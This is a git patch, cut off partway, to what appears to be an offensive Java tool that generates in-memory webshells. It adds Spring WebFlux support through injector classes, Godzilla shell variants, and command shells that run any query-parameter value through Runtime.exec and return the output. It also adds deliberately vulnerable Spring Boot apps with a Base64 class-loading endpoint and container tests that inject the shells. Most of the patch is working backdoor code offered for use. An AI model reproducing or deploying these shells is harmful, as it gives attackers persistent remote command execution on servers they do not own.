From ee82fc102d42bb5ae43cab52a7ca903be570ecf0 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 26 Dec 2024 00:59:24 +0800 Subject: [PATCH] feat: support spring webflux shell generate (resolved #6) --- .github/workflows/ci.yaml | 2 +- README.md | 13 +- generator/build.gradle | 2 + .../javaweb/memshell/SpringWebFluxShell.java | 42 +++++ .../javaweb/memshell/config/Server.java | 2 +- .../javaweb/godzilla/GodzillaManager.java | 6 +- integration-test/build.gradle | 4 +- .../javaweb/integration/ContainerTool.java | 2 + .../integration/ShellAssertionTool.java | 7 +- .../SpringBoot2WebFluxContainerTest.java | 72 ++++++++ .../SpringBoot3WebFluxContainerTest.java | 72 ++++++++ memshell-java8/build.gradle | 25 +++ .../behinder/BehinderControllerHandler.java | 1 - .../behinder/BehinderInterceptor.java | 0 .../command/CommandControllerHandler.java | 0 .../springmvc/command/CommandInterceptor.java | 0 .../godzilla/GodzillaControllerHandler.java | 0 .../godzilla/GodzillaInterceptor.java | 0 .../SpringControllerHandlerInjector.java | 0 .../injector/SpringInterceptorInjector.java | 1 - .../command/CommandHandlerFunction.java | 47 +++++ .../command/CommandHandlerMethod.java | 43 +++++ .../command/CommandWebFilter.java | 46 +++++ .../godzilla/GodzillaHandlerFunction.java | 115 ++++++++++++ .../godzilla/GodzillaHandlerMethod.java | 114 ++++++++++++ .../godzilla/GodzillaWebFilter.java | 123 +++++++++++++ .../SpringWebFluxHandlerFunctionInjector.java | 165 ++++++++++++++++++ .../SpringWebFluxHandlerMethodInjector.java | 157 +++++++++++++++++ .../SpringWebFluxWebFilterInjector.java | 136 +++++++++++++++ memshell/build.gradle | 5 - .../injector/TomcatServletInjector.java | 1 - settings.gradle | 4 + vul/vul-springboot2-webflux/Dockerfile | 8 + vul/vul-springboot2-webflux/build.gradle | 13 ++ .../javaweb/vul/springboot2/ClassDefiner.java | 14 ++ .../VulSpringboot2Application.java | 17 ++ .../Base64ClassLoaderController.java | 36 ++++ .../controller/IndexController.java | 23 +++ vul/vul-springboot3-webflux/Dockerfile | 8 + vul/vul-springboot3-webflux/build.gradle | 18 ++ .../javaweb/vul/springboot3/ClassDefiner.java | 14 ++ .../VulSpringboot3Application.java | 13 ++ .../Base64ClassLoaderController.java | 35 ++++ .../controller/IndexController.java | 123 +++++++++++++ .../src/main/resources/application.properties | 1 + 45 files changed, 1510 insertions(+), 20 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java create mode 100644 memshell-java8/build.gradle rename {memshell => memshell-java8}/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java (98%) rename {memshell => memshell-java8}/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java (100%) rename {memshell => memshell-java8}/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java (100%) rename {memshell => memshell-java8}/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java (100%) rename {memshell => memshell-java8}/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java (100%) rename {memshell => memshell-java8}/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java (100%) rename {memshell => memshell-java8}/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInjector.java (100%) rename {memshell => memshell-java8}/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java (99%) create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerFunction.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerMethod.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandWebFilter.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerFunction.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerMethod.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaWebFilter.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerFunctionInjector.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerMethodInjector.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxWebFilterInjector.java create mode 100644 vul/vul-springboot2-webflux/Dockerfile create mode 100644 vul/vul-springboot2-webflux/build.gradle create mode 100644 vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/ClassDefiner.java create mode 100644 vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java create mode 100644 vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java create mode 100644 vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java create mode 100644 vul/vul-springboot3-webflux/Dockerfile create mode 100644 vul/vul-springboot3-webflux/build.gradle create mode 100644 vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java create mode 100644 vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java create mode 100644 vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java create mode 100644 vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java create mode 100644 vul/vul-springboot3-webflux/src/main/resources/application.properties diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 76ecae1f..c8de4afd 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -31,7 +31,7 @@ jobs: strategy: fail-fast: false matrix: - middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic" ] + middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux" ] runs-on: ubuntu-latest name: ${{ matrix.middleware }} needs: [ unit-test ] diff --git a/README.md b/README.md index 2182ae58..bcd8c577 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,8 @@ > 最新一次构建会打印集成测试用例测试结果,可通过此来了解当前支持进度。 > [!WARNING] -> 项目仍在快速迭代过程中(代码结构十分不稳定)部分不方便在此处添加的测试用中间件有机会会在上方 TG 交流群分享,欢迎加入一起学习交流~ +> 项目仍在快速迭代过程中(代码结构十分不稳定)部分不方便在此处添加的测试用中间件有机会会在上方 TG +> 交流群分享,欢迎加入一起学习交流~ ![screenshot](docs/screenshot.png) @@ -32,11 +33,11 @@ | Listener | Listener | Valve | Valve | | Valve | | | | -| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty | -|--------------|-------------------|---------------|-------| -| Servlet | Interceptor | x | x | -| Filter | ControllerHandler | | | -| Listener | | | | +| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty | +|--------------|-------------------|-----------------|-------| +| Servlet | Interceptor | WebFilter | x | +| Filter | ControllerHandler | HandlerMethod | | +| Listener | | HandlerFunction | | | JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow | |----------------|-----------------|-----------------|----------| diff --git a/generator/build.gradle b/generator/build.gradle index 822e8701..95e5532c 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -48,6 +48,7 @@ dependencies { implementation project(":common") implementation project(":deserialize") implementation project(":memshell") + implementation project(":memshell-java8") implementation 'net.bytebuddy:byte-buddy:1.+' implementation 'javax.servlet:javax.servlet-api:3.0.1' implementation 'javax.websocket:javax.websocket-api:1.1' @@ -66,6 +67,7 @@ dependencies { implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE' implementation 'org.springframework:spring-web:4.3.30.RELEASE' + implementation 'org.springframework:spring-webflux:5.3.24' implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { exclude group: 'org.apache.tomcat', module: 'tomcat-api' exclude group: 'org.apache.tomcat', module: 'tomcat-juli' diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java new file mode 100644 index 00000000..bc8ddd22 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java @@ -0,0 +1,42 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction; +import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod; +import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter; +import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction; +import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod; +import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter; +import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector; +import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector; +import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +public class SpringWebFluxShell extends AbstractShell { + public static final String WEB_FILTER = "WebFilter"; + public static final String HANDLER_METHOD = "HandlerMethod"; + public static final String HANDLER_FUNCTION = "HandlerFunction"; + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + WEB_FILTER, Pair.of(CommandWebFilter.class, SpringWebFluxWebFilterInjector.class), + HANDLER_METHOD, Pair.of(CommandHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class), + HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + WEB_FILTER, Pair.of(GodzillaWebFilter.class, SpringWebFluxWebFilterInjector.class), + HANDLER_METHOD, Pair.of(GodzillaHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class), + HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java index 10ddf543..ec1e6c88 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java @@ -38,7 +38,7 @@ public enum Server { /** * Spring Webflux 框架 */ - SpringWebflux(null), + SpringWebflux(new SpringWebFluxShell()), /** * WebSphere 中间件 diff --git a/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index e4be1e83..79510030 100644 --- a/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -103,8 +103,9 @@ public class GodzillaManager implements Closeable { if (!isValidResponse(responseBody, md5)) { return responseBody; } - int lastIndex = responseBody.indexOf(md5.substring(16)); - String result = responseBody.substring(16); + int i = responseBody.indexOf(md5.substring(0, 16)); + String result = responseBody.substring(i + 16); + int lastIndex = result.indexOf(md5.substring(16)); result = result.substring(0, lastIndex); byte[] bytes = Base64.decodeBase64(result); byte[] x = aes(key, bytes, false); @@ -215,6 +216,7 @@ public class GodzillaManager implements Closeable { } return false; } catch (IOException e) { + e.printStackTrace(); return false; } } diff --git a/integration-test/build.gradle b/integration-test/build.gradle index da8723aa..b292971c 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -57,7 +57,9 @@ test { ":vul:vul-webapp-jakarta:war", ":vul:vul-springboot2:bootJar", ":vul:vul-springboot2:bootWar", - ":vul:vul-springboot3:bootJar" + ":vul:vul-springboot2-webflux:bootJar", + ":vul:vul-springboot3:bootJar", + ":vul:vul-springboot3-webflux:bootJar", ) useJUnitPlatform() finalizedBy jacocoTestReport diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 37205a2b..02b7e5ea 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -18,7 +18,9 @@ public class ContainerTool { public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath()); public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath(); + public static final Path springBoot2WebfluxDockerfile = Paths.get("../vul/vul-springboot2-webflux/Dockerfile").toAbsolutePath(); public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath(); + public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath(); public static String getUrl(GenericContainer container) { String host = container.getHost(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 74023c77..128b0ec3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; import com.reajason.javaweb.memshell.SpringMVCShell; +import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; @@ -16,7 +17,11 @@ public class ShellAssertionTool { String shellUrl = url + "/test"; InjectorConfig injectorConfig = new InjectorConfig(); - if (shellType.endsWith(Constants.SERVLET) || shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)) { + if (shellType.endsWith(Constants.SERVLET) + || shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER) + || shellType.equals(SpringWebFluxShell.HANDLER_METHOD) + || shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION) + ) { String urlPattern = "/" + shellTool + shellType + packer.name(); shellUrl = url + urlPattern; injectorConfig.setUrlPattern(urlPattern); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java new file mode 100644 index 00000000..406737e5 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.integration.springwebflux; + +import com.reajason.javaweb.memshell.SpringWebFluxShell; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot2WebFluxContainerTest { + public static final String imageName = "springboot2-webflux"; + + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot2WebfluxDockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( +// arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), +// arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packer.INSTANCE.Base64), +// arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packer.INSTANCE.Base64) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.SpringWebflux, shellType, shellTool, Opcodes.V1_8, packer); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java new file mode 100644 index 00000000..a780e771 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.integration.springwebflux; + +import com.reajason.javaweb.memshell.SpringWebFluxShell; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot3WebFluxContainerTest { + public static final String imageName = "springboot3-webflux"; + + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot3WebfluxDockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packer.INSTANCE.Base64) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.SpringWebflux, shellType, shellTool, Opcodes.V17, packer); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/memshell-java8/build.gradle b/memshell-java8/build.gradle new file mode 100644 index 00000000..ec18feae --- /dev/null +++ b/memshell-java8/build.gradle @@ -0,0 +1,25 @@ +plugins { + id 'war' +} + +group = 'com.reajason.javaweb' +version = '' +sourceCompatibility = '1.8' + +repositories { + mavenCentral() +} + +dependencies { + implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE' + implementation 'org.springframework:spring-webflux:5.3.24' + implementation 'org.springframework:spring-web:4.3.30.RELEASE' + providedCompile 'javax.servlet:javax.servlet-api:3.0.1' + providedCompile 'javax.websocket:javax.websocket-api:1.1' + testImplementation platform('org.junit:junit-bom:5.10.0') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java similarity index 98% rename from memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java index d7d31cd9..0f8156ec 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java @@ -35,7 +35,6 @@ public class BehinderControllerHandler extends ClassLoader implements Controller } public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { - System.out.println(response.getClass().getName()); if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { try { HttpSession session = request.getSession(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInjector.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java similarity index 99% rename from memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java index 704005fc..664abe35 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java @@ -95,7 +95,6 @@ public class SpringInterceptorInjector { @SuppressWarnings("unchecked") public void inject(Object context, Object interceptor) throws Exception { Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"}); - System.out.println(abstractHandlerMapping.getClass().getName()); List adaptedInterceptors = (List) getFieldValue(abstractHandlerMapping, "adaptedInterceptors"); for (Object adaptedInterceptor : adaptedInterceptors) { if (adaptedInterceptor.getClass().getName().equals(getClassName())) { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerFunction.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerFunction.java new file mode 100644 index 00000000..f4f2b5e0 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerFunction.java @@ -0,0 +1,47 @@ +package com.reajason.javaweb.memshell.springwebflux.command; + +import org.springframework.web.reactive.function.server.HandlerFunction; +import org.springframework.web.reactive.function.server.ServerRequest; +import org.springframework.web.reactive.function.server.ServerResponse; +import reactor.core.publisher.Mono; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.util.Optional; + +/** + * @author ReaJason + * @since 2024/12/25 + */ +public class CommandHandlerFunction implements HandlerFunction { + public String paramName = "{{paramName}}"; + + @Override + public Mono handle(ServerRequest request) { + Optional cmdOptional = request.queryParam(paramName); + if (!cmdOptional.isPresent()) { + return Mono.empty(); + } + System.out.println("hanlder function cmd " + cmdOptional.get()); + try { + StringBuilder result = new StringBuilder(); + try { + String cmd = cmdOptional.get(); + Process exec = Runtime.getRuntime().exec(cmd); + try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) { + String line; + while ((line = bufferedReader.readLine()) != null) { + result.append(line); + result.append(System.lineSeparator()); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return ServerResponse.ok().body(Mono.just(result.toString()), String.class); + } catch (Exception ex) { + ex.printStackTrace(); + return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class); + } + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerMethod.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerMethod.java new file mode 100644 index 00000000..b3a2a8bd --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandHandlerMethod.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.memshell.springwebflux.command; + +import org.springframework.http.ResponseEntity; +import org.springframework.web.server.ServerWebExchange; + +import java.io.BufferedReader; +import java.io.InputStreamReader; + +/** + * @author ReaJason + * @since 2024/12/25 + */ +public class CommandHandlerMethod { + public String paramName = "{{paramName}}"; + + public CommandHandlerMethod() { + } + + public ResponseEntity invoke(ServerWebExchange exchange) { + try { + String cmd = exchange.getRequest().getQueryParams().getFirst(paramName); + System.out.println("handler method cmd: " + cmd); + StringBuilder result = new StringBuilder(); + try { + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) { + String line; + while ((line = bufferedReader.readLine()) != null) { + result.append(line); + result.append(System.lineSeparator()); + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return ResponseEntity.ok(result.toString()); + } catch (Exception ex) { + return ResponseEntity.ok(ex.getMessage()); 